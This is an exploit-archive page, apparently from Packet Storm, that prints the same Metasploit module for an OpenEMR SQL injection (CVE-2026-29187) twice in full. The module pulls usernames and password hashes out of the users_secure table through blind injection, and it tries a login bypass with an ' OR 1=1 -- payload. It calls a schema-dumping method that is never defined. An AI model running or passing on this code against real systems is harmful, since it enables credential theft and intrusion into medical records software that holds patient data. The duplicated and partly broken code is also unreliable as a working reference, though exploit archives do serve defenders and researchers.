8.8
/ 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Description
This Metasploit auxiliary module targets a potential SQL injection vulnerability in OpenEMR version 8.0.0.2...
Basic Information
ID
PACKETSTORM:219182
Published
Apr 20, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : OpenEMR 8.0.0.2 Exploitation Tool |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.open-emr.org/wiki/index.php/OpenEMR_Downloads |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets a potential SQL Injection vulnerability in an OpenEMR installation (CVE-2026-29187).
It is designed for controlled security assessment and supports multiple exploitation and enumeration actions.
[+] POC :
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenEMR CVE-2026-29187 SQL Injection Exploit ',
'Description' => 'OpenEMR 8.0.0.2 Exploitation Tool',
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'References' => [['CVE', '2026-29187']]
))
register_options([
Opt::RPORT(443),
OptBool.new('SSL', [true, 'SSL', true]),
OptString.new('TARGETURI', [true, 'Path', '/openemr/']),
OptInt.new('TIMEOUT', [true, 'Timeout', 10]),
OptEnum.new('ACTION', [
true,
'Action',
'DUMP_USERS',
'DUMP_SCHEMA',
'AUTH_BYPASS',
'GET_SHELL'
])
])
@results = []
end
def uri(path)
normalize_uri(datastore['TARGETURI'], path)
end
def inject_sql(payload)
res = send_request_cgi({
'method' => 'GET',
'uri' => uri('interface/new/new_search_popup.php'),
'vars_get' => { "mf_(#{payload})" => '1' },
'timeout' => datastore['TIMEOUT']
})
return false unless res
res.body.to_s.include?('SQL') || res.body.to_s.include?('error')
rescue
false
end
def extract_data(query)
result = ""
(1..50).each do |i|
(32..126).each do |c|
payload = "(SELECT IF(ASCII(SUBSTRING((#{query}),#{i},1))=#{c},'1','0'))"
if inject_sql(payload)
result << c.chr
break
end
end
end
result.empty? ? nil : result
end
def run
print_status("Starting OpenEMR SQLi module on #{rhost}")
case datastore['ACTION']
when 'DUMP_USERS'
dump_users
when 'DUMP_SCHEMA'
dump_schema
when 'AUTH_BYPASS'
auth_bypass
when 'GET_SHELL'
get_shell
end
end
def dump_users
print_status("Dumping users...")
count = extract_data("SELECT COUNT(*) FROM users_secure").to_i
return print_error("No users found") if count <= 0
(0...count).each do |i|
user = extract_data("SELECT username FROM users_secure LIMIT #{i},1")
pass = extract_data("SELECT password FROM users_secure LIMIT #{i},1")
print_good("USER: #{user} PASS: #{pass}")
end
end
def auth_bypass
res = send_request_cgi({
'method' => 'POST',
'uri' => uri('interface/main/main_screen.php'),
'vars_post' => {
'authUser' => "' OR 1=1 --",
'clearPass' => 'x'
}
})
if res && (res.code == 302 || res.body.to_s !~ /login/i)
print_good("Auth bypass success")
else
print_error("Failed")
end
end
def get_shell
print_status("Shell method not safe in fixed version (disabled)")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : OpenEMR 8.0.0.2 Exploitation Tool |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.open-emr.org/wiki/index.php/OpenEMR_Downloads |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets a potential SQL Injection vulnerability in an OpenEMR installation (CVE-2026-29187).
It is designed for controlled security assessment and supports multiple exploitation and enumeration actions.
[+] POC :
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenEMR CVE-2026-29187 SQL Injection Exploit ',
'Description' => 'OpenEMR 8.0.0.2 Exploitation Tool',
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'References' => [['CVE', '2026-29187']]
))
register_options([
Opt::RPORT(443),
OptBool.new('SSL', [true, 'SSL', true]),
OptString.new('TARGETURI', [true, 'Path', '/openemr/']),
OptInt.new('TIMEOUT', [true, 'Timeout', 10]),
OptEnum.new('ACTION', [
true,
'Action',
'DUMP_USERS',
'DUMP_SCHEMA',
'AUTH_BYPASS',
'GET_SHELL'
])
])
@results = []
end
def uri(path)
normalize_uri(datastore['TARGETURI'], path)
end
def inject_sql(payload)
res = send_request_cgi({
'method' => 'GET',
'uri' => uri('interface/new/new_search_popup.php'),
'vars_get' => { "mf_(#{payload})" => '1' },
'timeout' => datastore['TIMEOUT']
})
return false unless res
res.body.to_s.include?('SQL') || res.body.to_s.include?('error')
rescue
false
end
def extract_data(query)
result = ""
(1..50).each do |i|
(32..126).each do |c|
payload = "(SELECT IF(ASCII(SUBSTRING((#{query}),#{i},1))=#{c},'1','0'))"
if inject_sql(payload)
result << c.chr
break
end
end
end
result.empty? ? nil : result
end
def run
print_status("Starting OpenEMR SQLi module on #{rhost}")
case datastore['ACTION']
when 'DUMP_USERS'
dump_users
when 'DUMP_SCHEMA'
dump_schema
when 'AUTH_BYPASS'
auth_bypass
when 'GET_SHELL'
get_shell
end
end
def dump_users
print_status("Dumping users...")
count = extract_data("SELECT COUNT(*) FROM users_secure").to_i
return print_error("No users found") if count <= 0
(0...count).each do |i|
user = extract_data("SELECT username FROM users_secure LIMIT #{i},1")
pass = extract_data("SELECT password FROM users_secure LIMIT #{i},1")
print_good("USER: #{user} PASS: #{pass}")
end
end
def auth_bypass
res = send_request_cgi({
'method' => 'POST',
'uri' => uri('interface/main/main_screen.php'),
'vars_post' => {
'authUser' => "' OR 1=1 --",
'clearPass' => 'x'
}
})
if res && (res.code == 302 || res.body.to_s !~ /login/i)
print_good("Auth bypass success")
else
print_error("Failed")
end
end
def get_shell
print_status("Shell method not safe in fixed version (disabled)")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================